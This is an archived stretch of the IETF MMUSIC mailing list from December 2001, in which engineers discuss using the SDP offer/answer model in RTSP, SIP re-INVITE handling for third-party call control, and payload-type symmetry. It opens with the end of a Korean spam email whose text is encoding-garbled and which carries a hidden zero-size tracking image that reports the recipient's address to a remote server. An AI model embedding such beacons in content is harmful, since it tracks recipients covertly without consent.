                  ÅëÈ­<BR>&nbsp;&nbsp;- Àü±¹/½Ã³»¿ä±Ý 39¿ø,ÈÞ´ëÆù ÃÖ´ë 21%,±¹Á¦ÀüÈ­ ÃÖ´ë 95%·Î 
                  Àú·Å<BR>&nbsp;&nbsp;- Àü¼¼°è 230°³±¹ ÅëÈ­ ¹× ÇØ¿Ü¿¡¼­ ÀÚµ¿ ·Î¹ÖÀÌ 
            °¡´É</TD></TR></TBODY></TABLE></TD></TR>
        <TR>
          <TD align=middle bgColor=#000000 colSpan=3 height=1>
            <DIV align=center></DIV></TD></TR></TBODY></TABLE>
      <P>¾Æ·¡ ÁÖ¼Ò·Î ¿À¼Å¼­ ǪÁüÇÑ °æÇ° Çà»ç¿Í ÇÔ²² °øµ¿±¸¸Å¿¡ Âü¿© ÇϽñ⠹ٶø´Ï´Ù.<BR><BR><A 
      href="http://www.hellotel.co.kr/" target=_blank>¢º 
      <B>http://www.hellotel.co.kr</B></A><BR></P>
      <P><A href="http://www.hellotel.co.kr/" target=_blank><IMG height=26 
      src="http://www.hellotel.co.kr/hellotelmail/image/event_bt.gif" width=139 
      border=0></A><BR><BR><BR><A href="mailto:hellotel@zaza.info"><B>¸ÞÀϼö½Å°ÅºÎ</B></A>¸¦ ¿øÇϽøé '¼ö½Å°ÅºÎ'¶ó°í 
      Ç¥±âÇÏ¿© º¸³»Áֽñ⠹ٶø´Ï´Ù.<BR></P></TD></TR>
  <TR>
    <TD class=font align=middle bgColor=#910003 height=24><FONT 
      color=#ffffff>¨Ï Copyright 2001 Çï·Î¿ìÅÚ All rights 
  reserved.</FONT></TD></TR></TBODY></TABLE>
</body><br><IMG width=0 height=0 src='http://61.99.120.2:8080/servlet/DongboServlet?RETN_RSEQ=ETALKPR_20011220215902437&RETN_USER=confctrl@isi.edu&RETN_MAIL=confctrl@isi.edu&start_date=2001-12-20 21:58:48&end_date=2001-12-20 21:58:48&imgname=Dongbo.gif'></html>


From confctrl-owner  Thu Dec 20 05:50:17 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA24954
	for confctrl-outgoing; Thu, 20 Dec 2001 05:50:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA24949
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 05:50:15 -0800 (PST)
Received: from zcars0m9.ca.nortel.com (zcars0m9.nortelnetworks.com [47.129.242.157])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKDp4g03938
	for <confctrl@isi.edu>; Thu, 20 Dec 2001 05:51:04 -0800 (PST)
Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56])
	by zcars0m9.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id fBKDoQx22671;
	Thu, 20 Dec 2001 08:50:26 -0500 (EST)
Received: from zcard015.ca.nortel.com (zcard015.ca.nortel.com [47.129.30.7])
	by zcars04e.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id fBKDoOM29240;
	Thu, 20 Dec 2001 08:50:24 -0500 (EST)
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19)
	id <ZGB5PWDH>; Thu, 20 Dec 2001 08:48:57 -0500
Message-ID: <4D79C746863DD51197690002A52CDA00274C4A@zcard0kc.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'Magnus Westerlund'" <magnus.westerlund@era.ericsson.se>,
        IETF MMUSIC WG <confctrl@ISI.EDU>, mmusic@ietf.org
Subject: RE: [MMUSIC] Using Offer/Answer SDP model in RTSP?
Date: Thu, 20 Dec 2001 08:48:55 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C1895D.110CA610"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1895D.110CA610
Content-Type: text/plain;
	charset="iso-8859-1"

Megaco uses the dollar sign "$" to indicate CHOOSE.  This isn't allowed by
the ABNF, but we could use something like 99999 instead.

-----Original Message-----
From: Magnus Westerlund [mailto:magnus.westerlund@era.ericsson.se]
Sent: Thursday, December 20, 2001 8:17 AM
To: IETF MMUSIC WG; mmusic@ietf.org
Subject: [MMUSIC] Using Offer/Answer SDP model in RTSP?


Hi,

I have been considering a change to RTSP that would allow the
transportation of SDP messages in the RTSP method SETUP. This would make
it possible to have the client make selection from alternatives received
in the SDP from DESCRIBE. As this seem to be a offer/answer exchange I
have looked at draft-rosenberg-mmusic-sdp-offer-answer-00.txt. I have
spotted a least one thing preventing RTSP from using it. That is the how
a media line with port 0 shall be interpreted. In RTSP a medialine port
0 says that the server has no preference on what port number the client
shall use. The actual exchange of port numbers are made in the SETUP
message's transport header. The offer/answer draft says that a medialine
with port 0 should not be used.

So how do you see the possibilities to use offer/answer for such a
mechanism? What changes are in that case need in the offer/answer draft?

Regards

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se




_______________________________________________
mmusic mailing list
mmusic@ietf.org
https://www1.ietf.org/mailman/listinfo/mmusic

------_=_NextPart_001_01C1895D.110CA610
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.89">
<TITLE>RE: [MMUSIC] Using Offer/Answer SDP model in RTSP?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Megaco uses the dollar sign &quot;$&quot; to indicate =
CHOOSE.&nbsp; This isn't allowed by the ABNF, but we could use =
something like 99999 instead.</FONT></P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Magnus Westerlund [<A =
HREF=3D"mailto:magnus.westerlund@era.ericsson.se">mailto:magnus.westerlu=
nd@era.ericsson.se</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Thursday, December 20, 2001 8:17 AM</FONT>
<BR><FONT SIZE=3D2>To: IETF MMUSIC WG; mmusic@ietf.org</FONT>
<BR><FONT SIZE=3D2>Subject: [MMUSIC] Using Offer/Answer SDP model in =
RTSP?</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Hi,</FONT>
</P>

<P><FONT SIZE=3D2>I have been considering a change to RTSP that would =
allow the</FONT>
<BR><FONT SIZE=3D2>transportation of SDP messages in the RTSP method =
SETUP. This would make</FONT>
<BR><FONT SIZE=3D2>it possible to have the client make selection from =
alternatives received</FONT>
<BR><FONT SIZE=3D2>in the SDP from DESCRIBE. As this seem to be a =
offer/answer exchange I</FONT>
<BR><FONT SIZE=3D2>have looked at =
draft-rosenberg-mmusic-sdp-offer-answer-00.txt. I have</FONT>
<BR><FONT SIZE=3D2>spotted a least one thing preventing RTSP from using =
it. That is the how</FONT>
<BR><FONT SIZE=3D2>a media line with port 0 shall be interpreted. In =
RTSP a medialine port</FONT>
<BR><FONT SIZE=3D2>0 says that the server has no preference on what =
port number the client</FONT>
<BR><FONT SIZE=3D2>shall use. The actual exchange of port numbers are =
made in the SETUP</FONT>
<BR><FONT SIZE=3D2>message's transport header. The offer/answer draft =
says that a medialine</FONT>
<BR><FONT SIZE=3D2>with port 0 should not be used.</FONT>
</P>

<P><FONT SIZE=3D2>So how do you see the possibilities to use =
offer/answer for such a</FONT>
<BR><FONT SIZE=3D2>mechanism? What changes are in that case need in the =
offer/answer draft?</FONT>
</P>

<P><FONT SIZE=3D2>Regards</FONT>
</P>

<P><FONT SIZE=3D2>Magnus Westerlund</FONT>
</P>

<P><FONT SIZE=3D2>Audio Technology, Ericsson Research</FONT>
<BR><FONT =
SIZE=3D2>---------------------------------------------------------------=
-------</FONT>
<BR><FONT SIZE=3D2>Ericsson Radio Systems AB&nbsp; | Phone +46 8 =
4048287</FONT>
<BR><FONT SIZE=3D2>Torshamsgatan =
23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | =
Fax&nbsp;&nbsp; +46 8 7575550</FONT>
<BR><FONT SIZE=3D2>S-164 80 Stockholm, Sweden | mailto: =
magnus.westerlund@era-t.ericsson.se</FONT>
</P>
<BR>
<BR>
<BR>

<P><FONT =
SIZE=3D2>_______________________________________________</FONT>
<BR><FONT SIZE=3D2>mmusic mailing list</FONT>
<BR><FONT SIZE=3D2>mmusic@ietf.org</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/mmusic" =
TARGET=3D"_blank">https://www1.ietf.org/mailman/listinfo/mmusic</A></FON=
T>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C1895D.110CA610--

From confctrl-owner  Thu Dec 20 05:57:45 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA25256
	for confctrl-outgoing; Thu, 20 Dec 2001 05:57:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA25251
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 05:57:43 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKDwVg06202
	for <confctrl@ISI.EDU>; Thu, 20 Dec 2001 05:58:32 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fBKDwUJ14433;
	Thu, 20 Dec 2001 14:58:30 +0100 (MET)
Received: from lmf.ericsson.se (3O46G00K6Q7QPRF.lmf.ericsson.se [131.160.30.116])
	by fogerty.lmf.ericsson.se (8.12.1/8.12.1/lmf.8.12.1.jcs) with ESMTP id fBKDwThO022617;
	Thu, 20 Dec 2001 15:58:29 +0200 (EET)
Message-ID: <3C21EE82.FAFA3C86@lmf.ericsson.se>
Date: Thu, 20 Dec 2001 15:58:26 +0200
From: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Tom-PT Taylor <taylor@nortelnetworks.com>
CC: "'Magnus Westerlund'" <magnus.westerlund@era.ericsson.se>,
        IETF MMUSIC WG <confctrl@ISI.EDU>, mmusic@ietf.org
Subject: Re: [MMUSIC] Using Offer/Answer SDP model in RTSP?
References: <4D79C746863DD51197690002A52CDA00274C4A@zcard0kc.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Megaco uses the dollar sign "$" to indicate CHOOSE.  This isn't
>allowed by the ABNF, but we could use something like 99999 instead.

...or the grammar can be changed in the sdp-new draft.

Regards,

Christer Holmberg
Ericsson Finland

> 
> -----Original Message-----
> From: Magnus Westerlund [mailto:magnus.westerlund@era.ericsson.se]
> Sent: Thursday, December 20, 2001 8:17 AM
> To: IETF MMUSIC WG; mmusic@ietf.org
> Subject: [MMUSIC] Using Offer/Answer SDP model in RTSP?
> 
> Hi,
> 
> I have been considering a change to RTSP that would allow the
> transportation of SDP messages in the RTSP method SETUP. This would
> make
> it possible to have the client make selection from alternatives
> received
> in the SDP from DESCRIBE. As this seem to be a offer/answer exchange I
> 
> have looked at draft-rosenberg-mmusic-sdp-offer-answer-00.txt. I have
> spotted a least one thing preventing RTSP from using it. That is the
> how
> a media line with port 0 shall be interpreted. In RTSP a medialine
> port
> 0 says that the server has no preference on what port number the
> client
> shall use. The actual exchange of port numbers are made in the SETUP
> message's transport header. The offer/answer draft says that a
> medialine
> with port 0 should not be used.
> 
> So how do you see the possibilities to use offer/answer for such a
> mechanism? What changes are in that case need in the offer/answer
> draft?
> 
> Regards
> 
> Magnus Westerlund
> 
> Audio Technology, Ericsson Research
> ----------------------------------------------------------------------
> 
> Ericsson Radio Systems AB  | Phone +46 8 4048287
> Torshamsgatan 23           | Fax   +46 8 7575550
> S-164 80 Stockholm, Sweden | mailto:
> magnus.westerlund@era-t.ericsson.se
> 
> _______________________________________________
> mmusic mailing list
> mmusic@ietf.org
> https://www1.ietf.org/mailman/listinfo/mmusic

From confctrl-owner  Thu Dec 20 08:22:32 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA00359
	for confctrl-outgoing; Thu, 20 Dec 2001 08:22:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA00354
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 08:22:31 -0800 (PST)
Received: from gw-us4.philips.com (gw-us4.philips.com [63.114.235.90])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKGNIg06436
	for <confctrl@ISI.EDU>; Thu, 20 Dec 2001 08:23:19 -0800 (PST)
Received: from smtpscan-nl2.philips.com (localhost.philips.com [127.0.0.1])
          by gw-us4.philips.com with ESMTP id KAA15098;
          Thu, 20 Dec 2001 10:22:41 -0600 (CST)
          (envelope-from philippe.gentric@philips.com)
From: philippe.gentric@philips.com
Received: from smtpscan-nl2.philips.com(130.139.36.22) by gw-us4.philips.com via mwrap (4.0a)
	id xma015007; Thu, 20 Dec 01 10:22:44 -0600
Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl2.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id RAA00023; Thu, 20 Dec 2001 17:17:30 +0100 (MET)
Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.212]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id RAA06562; Thu, 20 Dec 2001 17:17:28 +0100 (MET)
MIME-Version: 1.0
To: magnus.westerlund@era.ericsson.se
Cc: confctrl@ISI.EDU, mmusic@ietf.org
Subject: Re: Using Offer/Answer SDP model in RTSP?
X-Mailer: Lotus Notes Release 5.0.6a  January 17, 2001
Message-ID: <OF0D494E7D.B7330715-ONC1256B28.0058F57F@diamond.philips.com>
Date: Thu, 20 Dec 2001 17:14:19 +0100
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.5 |September
 22, 2000) at 20/12/2001 17:34:55,
	Serialize complete at 20/12/2001 17:34:55
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yes, I too have remarked that being able to exchange a SDP
in the RTSP framework would be usefull, the offer/anwser
context is one, the MIKEY draft is another and proposes a solution,
I have proposed to use a RTSP setParameter (but I recognize
it may not be the best idea)


Regards,

Philippe Gentric
Software architect
Philips Digital Networks - MP4Net
51 rue Carnot B.P. 301
92156 Suresnes FRANCE
tel: +33(0)147283740
fax: +33(0)147283725
philippe.gentric@philips.com
http://www.mpeg-4.philips.com



Sent by:        owner-confctrl@ISI.EDU
To:     IETF MMUSIC WG <confctrl@ISI.EDU>
mmusic@ietf.org
cc:      (bcc: Philippe Gentric/LIM/CE/PHILIPS)
Subject:        Using Offer/Answer SDP model in RTSP?
Classification: 


Hi,

I have been considering a change to RTSP that would allow the
transportation of SDP messages in the RTSP method SETUP. This would make
it possible to have the client make selection from alternatives received
in the SDP from DESCRIBE. As this seem to be a offer/answer exchange I
have looked at draft-rosenberg-mmusic-sdp-offer-answer-00.txt. I have
spotted a least one thing preventing RTSP from using it. That is the how
a media line with port 0 shall be interpreted. In RTSP a medialine port
0 says that the server has no preference on what port number the client
shall use. The actual exchange of port numbers are made in the SETUP
message's transport header. The offer/answer draft says that a medialine
with port 0 should not be used.

So how do you see the possibilities to use offer/answer for such a
mechanism? What changes are in that case need in the offer/answer draft?

Regards

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se








From confctrl-owner  Thu Dec 20 09:45:22 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA03344
	for confctrl-outgoing; Thu, 20 Dec 2001 09:45:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA03339
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 09:45:21 -0800 (PST)
Received: from prognet.com ([205.219.198.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKHkAg11396
	for <confctrl@ISI.EDU>; Thu, 20 Dec 2001 09:46:10 -0800 (PST)
Received: from goobox.prognet.com ([172.23.105.191])
	by prognet.com (8.9.2/8.9.0) with ESMTP id JAA30926;
	Thu, 20 Dec 2001 09:46:13 -0800 (PST)
Date: Thu, 20 Dec 2001 09:44:39 -0800 (PST)
From: Rob Lanphier <robla@real.com>
X-X-Sender: robla@goobox.prognet.com
To: philippe.gentric@philips.com
cc: magnus.westerlund@era.ericsson.se, <confctrl@ISI.EDU>, <mmusic@ietf.org>
Subject: Re: [MMUSIC] Re: Using Offer/Answer SDP model in RTSP?
In-Reply-To: <OF0D494E7D.B7330715-ONC1256B28.0058F57F@diamond.philips.com>
Message-ID: <Pine.LNX.4.43.0112200940540.11994-100000@goobox.prognet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Thu, 20 Dec 2001 philippe.gentric@philips.com wrote:
> Yes, I too have remarked that being able to exchange a SDP
> in the RTSP framework would be usefull, the offer/anwser
> context is one, the MIKEY draft is another and proposes a solution,
> I have proposed to use a RTSP setParameter (but I recognize
> it may not be the best idea)

I think there's plenty of room for optimizing the setup of RTSP sessions.
However, I'm not sure offer answer makes sense.  With RTSP, the client
generally supports a lot more datatypes, and the server is constrained by
what encoding the content is already in.  As a result, the client would
need to make a huge offer, only to get a response from the server that
bears little resemblance to the offer.

Rob


> Magnus Westerlund <magnus.westerlund@era.ericsson.se>@ISI.EDU on 12/20/2001 14:16:49
>
> Sent by:  owner-confctrl@ISI.EDU
>
>
> To:     IETF MMUSIC WG <confctrl@ISI.EDU>
>         mmusic@ietf.org
> cc:      (bcc: Philippe Gentric/LIM/CE/PHILIPS)
> Subject:  Using Offer/Answer SDP model in RTSP?
> Classification:
>
>
> Hi,
>
> I have been considering a change to RTSP that would allow the
> transportation of SDP messages in the RTSP method SETUP. This would make
> it possible to have the client make selection from alternatives received
> in the SDP from DESCRIBE. As this seem to be a offer/answer exchange I
> have looked at draft-rosenberg-mmusic-sdp-offer-answer-00.txt. I have
> spotted a least one thing preventing RTSP from using it. That is the how
> a media line with port 0 shall be interpreted. In RTSP a medialine port
> 0 says that the server has no preference on what port number the client
> shall use. The actual exchange of port numbers are made in the SETUP
> message's transport header. The offer/answer draft says that a medialine
> with port 0 should not be used.
>
> So how do you see the possibilities to use offer/answer for such a
> mechanism? What changes are in that case need in the offer/answer draft?
>
> Regards
>
> Magnus Westerlund
>
> Audio Technology, Ericsson Research
> ----------------------------------------------------------------------
> Ericsson Radio Systems AB  | Phone +46 8 4048287
> Torshamsgatan 23           | Fax   +46 8 7575550
> S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se
>
>
>
>
>
>
>
>
>
> _______________________________________________
> mmusic mailing list
> mmusic@ietf.org
> https://www1.ietf.org/mailman/listinfo/mmusic
>


From confctrl-owner  Thu Dec 20 10:13:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA04442
	for confctrl-outgoing; Thu, 20 Dec 2001 10:13:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA04437
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 10:13:02 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKIDpg23326
	for <confctrl@ISI.EDU>; Thu, 20 Dec 2001 10:13:51 -0800 (PST)
Received: from cannon.cisco.com (localhost [127.0.0.1])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBKIDLU03041;
	Thu, 20 Dec 2001 13:13:21 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAH17238 (AUTH pkyzivat);
	Thu, 20 Dec 2001 13:14:37 -0500 (EST)
Message-ID: <3C22293E.D8DF6DC8@cisco.com>
Date: Thu, 20 Dec 2001 13:09:02 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>, sip@ietf.org
Subject: Re: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
References: <3C203D98.6010203@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Below - Paul

Jonathan Rosenberg wrote:
> 
> This looks like another open issue in sip.
> Let us try to resolve it swiftly.

Agreed.

> That said, I will reopen it. Its bug 58.

Thanks.

> > I was suggesting that A is a B2BUA bridging between a party C not shown
> > above and B. A then decides to replace C with a different one D. So
> > there is a new dialog with D, but the dialog between A and B remains.
> > Something like the following:
> >
> > C                   A                   B
> > |   INVITE(sdp)     |                   |  offers codecs X,Y
> > |------------------>|                   |
> > |                   |   INVITE(sdp)     |  offers codecs X,Y
> > |                   |------------------>|
> > |                   |      OK(sdp)      |  accepts X, not Y; would
> > |                   |<------------------|  have accepted Z if offered
> > |                   |      ACK          |
> > |    OK(sdp)        |------------------>|
> > |<------------------|                   |  accepts X, not Y
> > |    ACK            |                   |
> > |------------------>|                   |
> >                     |                   |
> > D                   |                   |  prepare to xfer to D
> > |                   |   INVITE(no sdp)  |
> > |                   |------------------>|
> > |                   |      OK(sdp)      |  can only offer X
> > |                   |<------------------|  (should offer Z too)
> > |   INVITE(sdp)     |                   |  "
> > |<------------------|                   |
> > |   488             |                   |  Fails - D can only do
> > |------------------>|                   |  Y & Z, not X.
> >
> > //
> >
> > |   OK(sdp)         |                   |  If X,Z had been offered
> > |------------------>|                   |  would accept Z
> > |                   |      ACK (sdp)    |
> > |                   |------------------>|  then all is well
> >
> >
> > This is too simplistic for a practical call flow, but it makes the
> > point.
> 
> OK, I see the point. It is a good one.
> 
> Generally, I think the problem is this. When using 3pcc, the controller
> wants to connect an existing user to a new user. To do this, it sends a
> re-invite w/o sdp to the existing user, to solicit its SDP in order to
> include it in an invite to a new user. Effectively, this is a new
> session, even though its a re-invite for the existing participant. Thus,
> you want the typical behavior for a new INVITE, which is to send as much
> as you know.
> 
> Now, whats interesting is this. The reason we specified that the UA
> should return the last SDP it used, is to maximize the probability that
> this SDP is acceptable. However, in the 3pcc case, even if the  is
> bitwise identical, there are no guarantees. The existing call could be
> audio, the the controller is trying to connect the user to a video-only
> server. Not going to work with the existing SDP.
> 
> In these cases, the controller would need to ACK the 2xx from the
> existing user and then BYE.
> 
> So, what we need to do is specify that the UA ought to return an SDP
> which is as broad as possible, but still should be acceptable to the
> peer in the case its not 3pcc going on (although I can't think of any
> non-3pcc cases for a mid-dialog re-invite w/o SDP). THis would include:
> 
> 1. change in IP/port is OK
> 2. should add as many more codecs as you can, but there must be overlap
> with the previous SDP
> 3. can add media lines, but must at least be overlapping in a stream
> with the previous sdp
> 
> So, there are some issues here. First, we are trying to "guess" what
> changes in SDP would always be acceptable to an existing peer. Since
> whether an SDP is acceptable or not is a matter of local policy, its
> really hard to say. Second, would we need to specify rules for each and
> every parameter in the SDP? Seems like the wrong direction.
> 
> Perhaps the best we can do is leave the selection of the SDP up to the
> UA, but provide guidelines. Basically, something like:
> 
> 1. offer an SDP which has a good chance of being acceptable to the
> existing peer,
> 2. make the SDP as broad as possible since this could be 3pcc, and you
> don't know what they can do
> 
> Thoughts?

Seems like there are conflicting goals for reinvites. We are trying to
assign a particular intent to different patterns of usage. While I don't
have a particular problem in mind, I have the feeling that this is going
to make the protocol inflexible.

I can see two ways out:

1) explicitly communicate an indication of the purpose of the reinvite,
or hints about the kind of response that is expected. This might be
accomplished using a Reason header, or callerprefs, or a new header, or
some combination.

2) don't try to use reinvite for the complex 3pcc case. Instead of using
a no-sdp reinvite, send an OPTIONS in the context of the existing dialog
to the ua being transferred. Then mung the sdp from that and use it to
send an INVITE on hold to the new party being invited. Use the sdp
returned from that to generate a reinvite to the party being
transferred. (I am not sure this is going to work - it is just a concept
at the moment.)

To use OPTIONS in this way would not require any great violence to the
spec, but might require some clarification about how OPTIONS in the
context of an existing dialog should function. For instance section 11.2
currently says "The response code chosen is the same that would have
been chosen had the request been an INVITE." In this case we don't want
that - we don't want the same restrictions on what SDP is returned as
are applied to a reinvite.

3) we can muddle along with the relaxed guidelines you mention above. I
don't see that relaxing the rules that way does any harm. But I think it
might be inconvenient for multimedia UAs, or their users, to always
return sdp for media not currently in play. And if they choose not to do
so, we may not solve the problem at hand. They would perhaps be more
inclined to offer those media if they knew that the other end actually
desired to use them.

From confctrl-owner  Thu Dec 20 10:35:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA05419
	for confctrl-outgoing; Thu, 20 Dec 2001 10:35:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA05414
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 10:35:17 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKIa6g06511
	for <confctrl@isi.edu>; Thu, 20 Dec 2001 10:36:06 -0800 (PST)
Received: from cisco.com (rtp-vpn2-199.cisco.com [10.82.240.199])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBKIZn102411;
	Thu, 20 Dec 2001 10:35:50 -0800 (PST)
Message-ID: <3C222FA2.5AE8794C@cisco.com>
Date: Thu, 20 Dec 2001 13:36:18 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: MMUSIC <confctrl@ISI.EDU>, mmusic@ietf.org,
        Paul E Jones <paulej@cisco.com>
Subject: Re: [MMUSIC] Why must PT be the same in send and receive direction ?
References: <3C20FC2B.57FF8E5A@cisco.com> <3C214151.8080706@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

> Flemming Andreasen wrote:
>
> > The offer/answer model is quite explicit in stating that the payload
> > type for a given codec MUST be the same in the send and receive
> > direction and hence the payload type mapping for codec X in MUST be the
> > same in the offer and answer. However, this can cause a great deal of
> > grief when interworking with H.323 based systems, since they can't
> > necessarily guarantee this property.
> >
> > Now I can't think of a lot of reasons for the above offer/answer
> > restriction, except that it guarantees a proper interpretation of a
> > given payload type prior to receiving the actual answer to the offer.
>
> Well, thats a good one. You are guaranteed to have media clipping
> without this feature.
>

Not quite: you are not guaranteed to not have media clipping without
this
feature.

>
> It also makes it easy for the offerer to determine, from the answer, the
> matching of codecs in the offer to the answer. Its a simple numeric
> comparison.

True

> Without the same PT numbers, you need to do a
> canonicalization based on the actual codec and parameters. Even minor
> inconsistencies in the construction of the rtpmaps in the answer can
> cause confusion about which codec is which.

Not sure I see that. The only rule we have right now is that the payload
type
mapping must be the same in both directions, hence the only difference
is
whether you follow a dynamic payload type mapping to its canonical name
or
not.


>
> Its also consistent with multicast operation.

>
> Overall, I think its just simpler.

I agree with that, but I don't see a huge difference.


>
> > Unless there is another good reason for the restriction, I would like to
> > propose, that we allow it to be relaxed, i.e. turn it into a SHOULD and
> > put in a proper note explaining what might happen if you don't follow
> > it.
>
> Well, this turns into an interop nightmare for sip. We will have a
> complete interop failure if a new UA generates an answer with different
> payload types.
>
> This text has also been in there for a very long time.

I know and that's a big concern to me too (if we were to make any
changes).


> How come no one
> complained about this H.323 issue before? Its the first I've heard of it.

Don't know, but it's apparently been around for a while. My H.323
expertise is
